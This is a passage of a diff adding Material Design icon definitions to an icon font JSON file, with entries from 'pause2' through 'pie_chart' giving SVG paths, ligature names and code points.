"party_mode" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 544 + }, + { + "icon": { + "paths": [ + "M598 214h170v596h-170v-596zM256 810v-596h170v596h-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pause" + ], + "defaultCode": 57396, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pause", + "id": 545, + "order": 556, + "prevSize": 24, + "code": 57396, + "name": "pause2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 545 + }, + { + "icon": { + "paths": [ + "M640 682v-340h-86v340h86zM470 682v-340h-86v340h86zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pause_circle_filled" + ], + "defaultCode": 57397, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pause_circle_filled", + "id": 546, + "order": 557, + "prevSize": 24, + "code": 57397, + "name": "pause_circle_filled" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 546 + }, + { + "icon": { + "paths": [ + "M554 682v-340h86v340h-86zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM384 682v-340h86v340h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pause_circle_outline" + ], + "defaultCode": 57398, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pause_circle_outline", + "id": 547, + "order": 558, + "prevSize": 24, + "code": 57398, + "name": "pause_circle_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 547 + }, + { + "icon": { + "paths": [ + "M704 278c-46 0-86 38-86 84s40 86 86 86 86-40 86-86-40-84-86-84zM704 512c-82 0-150-68-150-150s68-148 150-148 150 66 150 148-68 150-150 150zM320 278c-46 0-86 38-86 84s40 86 86 86 86-40 86-86-40-84-86-84zM320 512c-82 0-150-68-150-150s68-148 150-148 150 66 150 148-68 150-150 150zM918 746v-52c0-24-110-76-214-76-46 0-90 12-128 24 14 16 22 32 22 52v52h320zM534 746v-52c0-24-110-76-214-76s-214 52-214 76v52h428zM704 554c92 0 278 48 278 140v116h-940v-116c0-92 186-140 278-140 52 0 130 16 192 44 62-28 140-44 192-44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "people_outline" + ], + "defaultCode": 59388, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "people_outline", + "id": 548, + "order": 559, + "prevSize": 24, + "code": 59388, + "name": "people_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 548 + }, + { + "icon": { + "paths": [ + "M598 554v-170c0-46-40-86-86-86s-86 40-86 86v170c0 46 40 86 86 86s86-40 86-86zM854 214c46 0 84 38 84 84v512c0 46-38 86-84 86h-300v-90c120-20 214-126 214-252h-86c0 94-76 172-170 172s-170-78-170-172h-86c0 126 94 232 214 252v90h-300c-46 0-84-40-84-86v-512c0-46 38-84 84-84h136l78-86h256l78 86h136z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "perm_camera_mic" + ], + "defaultCode": 59554, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "perm_camera_mic", + "id": 549, + "order": 560, + "prevSize": 24, + "code": 59554, + "name": "perm_camera_mic" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 549 + }, + { + "icon": { + "paths": [ + "M768 768v-42c0-86-170-132-256-132s-256 46-256 132v42h512zM512 256c-70 0-128 58-128 128s58 128 128 128 128-58 128-128-58-128-128-128zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h42v-86h86v86h340v-86h86v86h42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "perm_contact_calendar" + ], + "defaultCode": 59555, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "perm_contact_calendar", + "id": 550, + "order": 561, + "prevSize": 24, + "code": 59555, + "name": "perm_contact_calendar" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 550 + }, + { + "icon": { + "paths": [ + "M810 874c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM968 832l46 34c4 4 4 10 2 14l-42 74c-2 4-10 8-14 6l-52-22c-10 8-24 14-36 20l-8 58c0 6-6 8-12 8h-84c-6 0-12-2-12-8l-8-58c-14-6-24-12-36-20l-52 22c-6 2-12-2-14-6l-42-74c-2-4-2-10 2-14l46-34c0-6-2-14-2-22s2-14 2-20l-46-36c-4-4-4-10-2-14l42-74c2-4 10-6 14-4l52 22c12-8 24-16 36-22l8-56c0-6 6-8 12-8h84c6 0 12 2 12 8l8 56c14 6 24 14 36 22l52-22c6-2 12 0 14 4l42 74c2 4 2 10-2 14l-46 36c2 6 2 12 2 20s-2 16-2 22zM810 490c-176 0-320 144-320 320 0 14 2 30 4 44h-494l854-854-2 494c-14-2-28-4-42-4z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "perm_data_setting" + ], + "defaultCode": 59556, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "perm_data_setting", + "id": 551, + "order": 562, + "prevSize": 24, + "code": 59556, + "name": "perm_data_setting" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 551 + }, + { + "icon": { + "paths": [ + "M726 810v-596h-428v596h428zM726 44c46 0 84 38 84 84v768c0 46-38 86-84 86h-428c-46 0-84-40-84-86v-768c0-46 38-86 84-86zM554 470v256h-84v-256h84zM554 298v86h-84v-86h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "perm_device_information" + ], + "defaultCode": 59557, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "perm_device_information", + "id": 552, + "order": 563, + "prevSize": 24, + "code": 59557, + "name": "perm_device_information" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 552 + }, + { + "icon": { + "paths": [ + "M512 554c114 0 342 58 342 172v128h-684v-128c0-114 228-172 342-172zM512 170c94 0 170 78 170 172s-76 170-170 170-170-76-170-170 76-172 170-172zM512 636c-126 0-260 62-260 90v46h520v-46c0-28-134-90-260-90zM512 252c-50 0-90 40-90 90s40 88 90 88 90-38 90-88-40-90-90-90z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "person_outline" + ], + "defaultCode": 59391, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "perm_identity, person_outline", + "id": 553, + "order": 564, + "prevSize": 24, + "code": 59391, + "name": "person_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 553 + }, + { + "icon": { + "paths": [ + "M298 640h598l-150-192-106 128-150-192zM938 170c46 0 86 40 86 86v426c0 46-40 86-86 86h-682c-46 0-86-40-86-86l2-512c0-46 38-84 84-84h256l86 84h340zM86 256v598h768v84h-768c-46 0-86-38-86-84v-598h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "perm_media" + ], + "defaultCode": 59559, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "perm_media", + "id": 554, + "order": 565, + "prevSize": 24, + "code": 59559, + "name": "perm_media" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 554 + }, + { + "icon": { + "paths": [ + "M512 128h384v298h-256l-128 128v-426zM854 662c24 0 42 18 42 42v150c0 24-18 42-42 42-400 0-726-326-726-726 0-24 18-42 42-42h150c24 0 42 18 42 42 0 54 8 104 24 152 4 14 2 32-10 44l-94 94c62 120 162 220 282 282l94-94c12-12 30-14 44-10 48 16 98 24 152 24z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "perm_phone_msg" + ], + "defaultCode": 59560, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "perm_phone_msg", + "id": 555, + "order": 566, + "prevSize": 24, + "code": 59560, + "name": "perm_phone_msg" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 555 + }, + { + "icon": { + "paths": [ + "M470 342h84v-86h-84v86zM554 682v-256h-84v256h84zM512 128c216 0 378 80 512 182l-512 628-512-630c134-102 296-180 512-180z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "perm_scan_wifi" + ], + "defaultCode": 59561, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "perm_scan_wifi", + "id": 556, + "order": 567, + "prevSize": 24, + "code": 59561, + "name": "perm_scan_wifi" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 556 + }, + { + "icon": { + "paths": [ + "M512 598c114 0 342 56 342 170v86h-684v-86c0-114 228-170 342-170zM512 512c-94 0-170-76-170-170s76-172 170-172 170 78 170 172-76 170-170 170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "person" + ], + "defaultCode": 59389, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "person", + "id": 557, + "order": 568, + "prevSize": 24, + "code": 59389, + "name": "person" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 557 + }, + { + "icon": { + "paths": [ + "M640 598c114 0 342 56 342 170v86h-684v-86c0-114 228-170 342-170zM256 426h128v86h-128v128h-86v-128h-128v-86h128v-128h86v128zM640 512c-94 0-170-76-170-170s76-172 170-172 170 78 170 172-76 170-170 170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "person_add" + ], + "defaultCode": 59390, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "person_add", + "id": 558, + "order": 569, + "prevSize": 24, + "code": 59390, + "name": "person_add" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 558 + }, + { + "icon": { + "paths": [ + "M768 682v-38c0-86-170-132-256-132s-256 46-256 132v38h512zM512 226c-64 0-116 52-116 116s52 114 116 114 116-50 116-114-52-116-116-116zM810 86c46 0 86 38 86 84v598c0 46-40 86-86 86h-170l-128 128-128-128h-170c-48 0-86-40-86-86v-598c0-46 38-84 86-84h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "person_pin" + ], + "defaultCode": 58714, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "person_pin", + "id": 559, + "order": 570, + "prevSize": 24, + "code": 58714, + "name": "person_pin" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 559 + }, + { + "icon": { + "paths": [ + "M512 598c72 0 134-36 170-92 0-56-114-88-170-88s-170 32-170 88c36 56 98 92 170 92zM512 170c-46 0-86 40-86 86 0 48 40 86 86 86s86-38 86-86c0-46-40-86-86-86zM512 86c164 0 298 134 298 298 0 224-298 554-298 554s-298-330-298-554c0-164 134-298 298-298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "person_pin_circle" + ], + "defaultCode": 58730, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "person_pin_circle", + "id": 560, + "order": 571, + "prevSize": 24, + "code": 58730, + "name": "person_pin_circle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 560 + }, + { + "icon": { + "paths": [ + "M896 726v-512h-768v512h768zM896 128c46 0 86 38 86 86l-2 512c0 46-38 84-84 84h-214v86h-340v-86h-214c-48 0-86-38-86-84v-512c0-48 38-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "personal_video" + ], + "defaultCode": 58939, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "personal_video", + "id": 561, + "order": 572, + "prevSize": 24, + "code": 58939, + "name": "personal_video" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 561 + }, + { + "icon": { + "paths": [ + "M740 634c56 56 126 116 112 204-12 44-44 88-100 100-32 6-130-18-236-18h-8c-106 0-204 24-236 18-56-12-88-56-100-100-12-86 56-148 112-204 38-44 68-80 106-124 20-24 44-46 74-56 4-2 10-4 14-4 12-2 22-2 34-2s24 0 34 2c4 0 10 2 14 4 30 10 54 32 74 56 38 44 68 80 106 124zM726 406c0-58 48-108 106-108s106 50 106 108-48 106-106 106-106-48-106-106zM534 234c0-58 48-106 106-106s106 48 106 106-48 108-106 108-106-50-106-108zM278 234c0-58 48-106 106-106s106 48 106 106-48 108-106 108-106-50-106-108zM86 406c0-58 48-108 106-108s106 50 106 108-48 106-106 106-106-48-106-106z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pets" + ], + "defaultCode": 59677, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pets", + "id": 562, + "order": 573, + "prevSize": 24, + "code": 59677, + "name": "pets" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 562 + }, + { + "icon": { + "paths": [ + "M736 768v-598h-448v598h448zM598 896v-42h-172v42h172zM682 42c70 0 128 58 128 128v684c0 70-58 128-128 128h-340c-70 0-128-58-128-128v-684c0-70 58-128 128-128h340z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone_android" + ], + "defaultCode": 58148, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phone_android", + "id": 563, + "order": 574, + "prevSize": 24, + "code": 58148, + "name": "phone_android" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 563 + }, + { + "icon": { + "paths": [ + "M854 662c24 0 42 18 42 42v150c0 24-18 42-42 42-400 0-726-326-726-726 0-24 18-42 42-42h150c24 0 42 18 42 42 0 54 8 104 24 152 4 14 2 32-10 44l-94 94c62 122 162 220 282 282l94-94c12-12 30-14 44-10 48 16 98 24 152 24zM768 308v80l40-40zM768 124v80l40-40zM628 406l-30-30 118-120-118-120 30-30 98 98v-162h20l122 122-92 92 92 92-122 122h-20v-162z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone_bluetooth_speaker" + ], + "defaultCode": 58907, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phone_bluetooth_speaker", + "id": 564, + "order": 575, + "prevSize": 24, + "code": 58907, + "name": "phone_bluetooth_speaker" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 564 + }, + { + "icon": { + "paths": [ + "M854 662c24 0 42 18 42 42v150c0 24-18 42-42 42-400 0-726-326-726-726 0-24 18-42 42-42h150c24 0 42 18 42 42 0 54 8 104 24 152 4 14 2 32-10 44l-94 94c62 122 162 220 282 282l94-94c12-12 30-14 44-10 48 16 98 24 152 24zM768 470v-128h-170v-172h170v-128l214 214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone_forwarded" + ], + "defaultCode": 58908, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phone_forwarded", + "id": 565, + "order": 576, + "prevSize": 24, + "code": 58908, + "name": "phone_forwarded" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 565 + }, + { + "icon": { + "paths": [ + "M640 512c0-70-58-128-128-128v-86c118 0 214 96 214 214h-86zM810 512c0-166-132-298-298-298v-86c212 0 384 172 384 384h-86zM854 662c24 0 42 18 42 42v150c0 24-18 42-42 42-400 0-726-326-726-726 0-24 18-42 42-42h150c24 0 42 18 42 42 0 54 8 104 24 152 4 14 2 32-10 44l-94 94c62 122 162 220 282 282l94-94c12-12 30-14 44-10 48 16 98 24 152 24z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone_in_talk" + ], + "defaultCode": 58909, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phone_in_talk", + "id": 566, + "order": 577, + "prevSize": 24, + "code": 58909, + "name": "phone_in_talk" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 566 + }, + { + "icon": { + "paths": [ + "M682 768v-598h-384v598h384zM490 938c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM662 42c58 0 106 50 106 108v724c0 58-48 108-106 108h-342c-58 0-106-50-106-108v-724c0-58 48-108 106-108h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone_iphone" + ], + "defaultCode": 58149, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phone_iphone", + "id": 567, + "order": 578, + "prevSize": 24, + "code": 58149, + "name": "phone_iphone" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 567 + }, + { + "icon": { + "paths": [ + "M820 170v-20c0-40-34-74-74-74s-72 34-72 74v20h146zM854 170c24 0 42 20 42 44v170c0 24-18 42-42 42h-214c-24 0-42-18-42-42v-170c0-24 18-44 42-44v-20c0-58 48-108 106-108s108 50 108 108v20zM854 662c24 0 42 18 42 42v150c0 24-18 42-42 42-400 0-726-326-726-726 0-24 18-42 42-42h150c24 0 42 18 42 42 0 54 8 104 24 152 4 14 2 32-10 44l-94 94c62 122 162 220 282 282l94-94c12-12 30-14 44-10 48 16 98 24 152 24z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone_locked" + ], + "defaultCode": 58910, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phone_locked", + "id": 568, + "order": 579, + "prevSize": 24, + "code": 58910, + "name": "phone_locked" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 568 + }, + { + "icon": { + "paths": [ + "M1012 712c8 8 12 18 12 30s-4 22-12 30l-106 106c-8 8-18 12-30 12s-22-4-30-12c-34-32-72-60-114-80-14-6-24-22-24-38v-132c-62-20-128-30-196-30s-134 10-196 30v132c0 18-10 34-24 40-42 20-80 46-114 78-8 8-18 12-30 12s-22-4-30-12l-106-106c-8-8-12-18-12-30s4-22 12-30c130-124 306-200 500-200s370 76 500 200zM278 234v150h-64v-256h256v64h-150l192 192 256-256 42 42-298 300z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone_missed" + ], + "defaultCode": 58911, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phone_missed", + "id": 569, + "order": 580, + "prevSize": 24, + "code": 58911, + "name": "phone_missed" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 569 + }, + { + "icon": { + "paths": [ + "M810 128h86v298h-86v-298zM854 662c24 0 42 18 42 42v150c0 24-18 42-42 42-400 0-726-326-726-726 0-24 18-42 42-42h150c24 0 42 18 42 42 0 54 8 104 24 152 4 14 2 32-10 44l-94 94c62 122 162 220 282 282l94-94c12-12 30-14 44-10 48 16 98 24 152 24zM726 128v298h-86v-298h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone_paused" + ], + "defaultCode": 58912, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phone_paused", + "id": 570, + "order": 581, + "prevSize": 24, + "code": 58912, + "name": "phone_paused" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 570 + }, + { + "icon": { + "paths": [ + "M810 42c46 0 86 40 86 86v768c0 46-40 86-86 86h-426c-46 0-86-40-86-86v-128h86v86h426v-684h-426v86h-86v-128c0-46 40-86 86-86h426zM554 350l-170 170 170 172-42 42-170-170-172 170-42-42 170-172-170-170 42-42 172 170 170-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phonelink_erase" + ], + "defaultCode": 57563, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phonelink_erase", + "id": 571, + "order": 582, + "prevSize": 24, + "code": 57563, + "name": "phonelink_erase" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 571 + }, + { + "icon": { + "paths": [ + "M406 470v-64c0-34-30-56-64-56s-64 22-64 56v64h128zM460 470c26 0 52 24 52 54v150c0 26-26 52-56 52h-234c-26 0-52-26-52-56v-150c0-26 26-50 52-50v-64c0-60 60-108 120-108s118 48 118 108v64zM810 42c46 0 86 40 86 86v768c0 46-40 86-86 86h-426c-46 0-86-40-86-86v-128h86v86h426v-684h-426v86h-86v-128c0-46 40-86 86-86h426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phonelink_lock" + ], + "defaultCode": 57564, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phonelink_lock", + "id": 572, + "order": 583, + "prevSize": 24, + "code": 57564, + "name": "phonelink_lock" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 572 + }, + { + "icon": { + "paths": [ + "M982 342c24 0 42 18 42 42v426c0 24-18 44-42 44h-8l-128-128h92v-300h-170v222l-86-86v-178c0-24 20-42 44-42h256zM170 268v458h458zM82 70c276.214 276.452 551.97 553.364 828 830l-54 54-100-100h-756v-128h86v-470c0-20 8-40 20-54l-78-78zM938 256h-562l-86-86h648v86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phonelink_off" + ], + "defaultCode": 58151, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phonelink_off", + "id": 573, + "order": 584, + "prevSize": 24, + "code": 58151, + "name": "phonelink_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 573 + }, + { + "icon": { + "paths": [ + "M598 854v-684h-428v684h428zM598 42c46 0 84 40 84 86v768c0 46-38 86-84 86h-428c-46 0-84-40-84-86v-768c0-46 38-86 84-86h428zM768 418c52 56 52 132 0 184l-42-44c22-30 22-68 0-98zM858 328c106 102 106 266 0 364l-44-44c76-82 76-200 0-276z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phonelink_ring" + ], + "defaultCode": 57565, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phonelink_ring", + "id": 574, + "order": 585, + "prevSize": 24, + "code": 57565, + "name": "phonelink_ring" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 574 + }, + { + "icon": { + "paths": [ + "M810 42c46 0 86 40 86 86v768c0 46-40 86-86 86h-426c-46 0-86-40-86-86v-128h86v86h426v-684h-426v86h-86v-128c0-46 40-86 86-86h426zM342 598c46 0 84-40 84-86s-38-86-84-86-86 40-86 86 40 86 86 86zM504 534l46 38c4 4 8 8 4 12l-42 74c-4 4-8 4-12 4l-56-22c-12 8-26 18-38 22l-10 54c-4 4-8 10-12 10h-86c-4 0-12-6-8-10l-8-54c-12-4-26-14-38-22l-60 18c-4 4-10-2-14-6l-42-72c0-4 0-8 4-16l48-34v-44l-48-34c-4-4-8-8-4-12l42-74c4-4 10-4 14-4l54 22c12-8 28-18 40-22l8-54c4-4 8-10 12-10h86c8 0 12 6 12 10l10 54c12 4 26 14 38 22l56-18c4-4 8 2 12 6l42 72c0 4 0 8-4 12l-46 34v44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phonelink_setup" + ], + "defaultCode": 57566, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "phonelink_setup", + "id": 575, + "order": 586, + "prevSize": 24, + "code": 57566, + "name": "phonelink_setup" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 575 + }, + { + "icon": { + "paths": [ + "M256 810h512l-164-218-128 164-92-110zM256 170v342l106-64 108 64v-342h-214zM768 86c46 0 86 38 86 84v684c0 46-40 84-86 84h-512c-46 0-86-38-86-84v-684c0-46 40-84 86-84h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "photo_album" + ], + "defaultCode": 58385, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "photo_album", + "id": 576, + "order": 587, + "prevSize": 24, + "code": 58385, + "name": "photo_album" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 576 + }, + { + "icon": { + "paths": [ + "M566 458l116 54-116 54-54 116-54-116-116-54 116-54 54-116zM726 426l-40-88-88-40 88-40 40-88 40 88 88 40-88 40zM812 426h84v384c0 46-38 86-84 86h-598c-46 0-86-40-86-86v-596c0-46 40-86 86-86h384v86h-384v596h598v-384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "photo_filter" + ], + "defaultCode": 58427, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "photo_filter", + "id": 577, + "order": 588, + "prevSize": 24, + "code": 58427, + "name": "photo_filter" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 577 + }, + { + "icon": { + "paths": [ + "M214 726h596l-192-256-148 192-108-128zM896 128c42 0 86 44 86 86v596c0 42-44 86-86 86h-768c-46 0-86-40-86-86v-596c0-42 44-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "photo_size_select_actual" + ], + "defaultCode": 58418, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "photo_size_select_actual", + "id": 578, + "order": 589, + "prevSize": 24, + "code": 58418, + "name": "photo_size_select_actual" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 578 + }, + { + "icon": { + "paths": [ + "M128 810h426l-136-182-106 138-78-92zM42 470h598v426h-512c-46 0-86-40-86-86v-340zM214 128h84v86h-84v-86zM384 128h86v86h-86v-86zM128 128v86h-86c0-42 44-86 86-86zM726 810h84v86h-84v-86zM726 128h84v86h-84v-86zM42 298h86v86h-86v-86zM896 128c42 0 86 44 86 86h-86v-86zM896 298h86v86h-86v-86zM554 128h86v86h-86v-86zM982 810c0 42-44 86-86 86v-86h86zM896 470h86v84h-86v-84zM896 640h86v86h-86v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "photo_size_select_large" + ], + "defaultCode": 58419, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "photo_size_select_large", + "id": 579, + "order": 590, + "prevSize": 24, + "code": 58419, + "name": "photo_size_select_large" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 579 + }, + { + "icon": { + "paths": [ + "M298 128v86h-84v-86h84zM470 128v86h-86v-86h86zM128 470v84h-86v-84h86zM128 128v86h-86c0-42 44-86 86-86zM810 810v86h-84v-86h84zM810 128v86h-84v-86h84zM640 810v86h-86v-86h86zM128 298v86h-86v-86h86zM128 896c-46 0-86-40-86-86v-170h428v256h-342zM896 128c42 0 86 44 86 86h-86v-86zM982 298v86h-86v-86h86zM640 128v86h-86v-86h86zM982 810c0 42-44 86-86 86v-86h86zM982 470v84h-86v-84h86zM982 640v86h-86v-86h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "photo_size_select_small" + ], + "defaultCode": 58420, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "photo_size_select_small", + "id": 580, + "order": 591, + "prevSize": 24, + "code": 58420, + "name": "photo_size_select_small" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 580 + }, + { + "icon": { + "paths": [ + "M598 490v-128h42v128h-42zM170 256v598h598v84h-598c-46 0-84-38-84-84v-598h84zM384 406v-44h42v44h-42zM874 362v-64h-128v256h64v-84h64v-64h-64v-44h64zM704 490v-128c0-36-28-64-64-64h-106v256h106c36 0 64-28 64-64zM490 406v-44c0-36-28-64-64-64h-106v256h64v-84h42c36 0 64-28 64-64zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-512c-46 0-86-40-86-86v-512c0-46 40-84 86-84h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "picture_as_pdf" + ], + "defaultCode": 58389, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "picture_as_pdf", + "id": 581, + "order": 592, + "prevSize": 24, + "code": 58389, + "name": "picture_as_pdf" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 581 + }, + { + "icon": { + "paths": [ + "M896 812v-600h-768v600h768zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768zM810 298v256h-340v-256h340z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "picture_in_picture" + ], + "defaultCode": 59562, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "picture_in_picture", + "id": 582, + "order": 593, + "prevSize": 24, + "code": 59562, + "name": "picture_in_picture" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 582 + }, + { + "icon": { + "paths": [ + "M896 812v-600h-768v600h768zM982 810c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-598c0-46 40-84 86-84h768c46 0 86 38 86 84v598zM810 470v256h-340v-256h340z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "picture_in_picture_alt" + ], + "defaultCode": 59665, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "picture_in_picture_alt", + "id": 583, + "order": 594, + "prevSize": 24, + "code": 59665, + "name": "picture_in_picture_alt" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 583 + }, + { + "icon": { + "paths": [ + "M556 556h382c-20 202-180 362-382 382v-382zM556 86c202 20 362 180 382 382h-382v-382zM470 86v852c-216-22-384-204-384-426s168-404 384-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pie_chart" + ], + "defaultCode": 59076, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pie_chart", + "id": 584, + "order": 595, + "prevSize": 24, + "code": 59076, + "name": "pie_chart" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 584 + }, + { + "icon": { + "paths": [ + "M554 850c154-20 276-142 296-296h-296v296zM170 512c0 174 132 316 300 338v-676c-168 20-300 164-300 338zM554 174v296h296c-20-154-142-276-296-296zM512 86c234 0 426 192 426 426s-192 426-426 426-426-192-426-426 192-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + 